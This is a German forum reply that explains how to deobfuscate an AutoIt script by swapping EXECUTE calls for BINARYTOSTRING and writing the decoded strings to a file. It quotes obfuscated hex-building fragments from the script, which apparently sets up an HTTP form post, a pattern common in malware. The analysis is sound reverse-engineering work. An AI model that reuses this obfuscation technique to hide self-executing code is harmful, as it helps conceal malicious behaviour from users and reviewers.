Ich hab nicht viel Ahnung von AutoIt aber ich wuerde die Ausgabe umleiten:
$XX = EXCUTE(BINARYTOSTRING(...))
zu dem machen:
$XX = BINARYTOSTRING(...)
dann kannst du es noch mal kompilieren lassen und es z.B. in eine Datei schreiben:
Local $file = FileOpen("c:\test.txt", 1)
; Prüfen, ob Datei im Schreibmodus geöffnet ist
If $file = -1 Then
MsgBox(0, "Fehler", "Die Datei konnte nicht geöffnet werden.")
Exit
EndIf
$HTTP = BINARYTOSTRING ( "0x" & STRINGLEN ( "dW" ) & "0" & STRINGLEN ( "HLSN" ) & "F6" & STRINGLEN ( "dW" ) & "6A4" & STRINGLEN ( "DHB" ) & STRINGLEN ( "PPLIHNE" ) & STRINGLEN ( "dW" ) & "656" & STRINGLEN ( "j" ) & STRINGLEN ( "PPLIHNE" ) & "465" & STRINGLEN ( "dW" ) & "82024545F54" & STRINGLEN ( "DHB" ) & "07844" & STRINGLEN ( "DHB" ) & "4343839333236363" & STRINGLEN ( "j" ) & "3036443630453045423" & STRINGLEN ( "j" ) & "4242423446324235414332332029" )
$r = BINARYTOSTRING ( "0x" & STRINGLEN ( "UQYZ" ) & STRINGLEN ( "s" ) & STRINGLEN ( "OYNKJIR" ) & STRINGLEN ( "NBP" ) & STRINGLEN ( "OYNKJIR" ) & "369676E" & STRINGLEN ( "jS" ) & ( 8 + 5 ) ^ 2 + -161 & STRINGLEN ( "jS" ) & "75" & STRINGLEN ( "UQYZ" ) & "5F5" & STRINGLEN ( "UQYZ" ) & "307" & ( 8 + 5 ) ^ 2 + -161 & "44h37434436393435413" & STRINGLEN ( "jS" ) & "34433339313639453643374630343332334431364434272C20276170706C69636174696F6E2F7" & ( 8 + 5 ) ^ 2 + -161 & "2D7777772D666F726D2D75726C656E636F6465642729")
FileWrite($file, $HTTP)
FileWrite($file,$r )
FileClose($file)
Das ganze Zeug kannst du dann hier
Please Login HERE or Register HERE to see this link!
kompilieren lassen und dann kriegst du das was der AutoIt Executen wollte.
Du musst dann wahrscheinlich weiter suchen und ersetzen und den code so langsam leserlicher machen. Ich hab fuer den Code oben, das raus bekommen:
ObjCreate( $T_T0xD44893266106D60E0EB1BBB4F2B5AC23 )
Assign('T_T0xD7CD6945A24C39169E6C7F04323D16D4', 'application/x-www-form-urlencoded')
Fuer $HTTP kannst du dann statt EXECUTE(...), ObjCreate( $T_T0xD44893266106D60E0EB1BBB4F2B5AC23 ) einsetzen..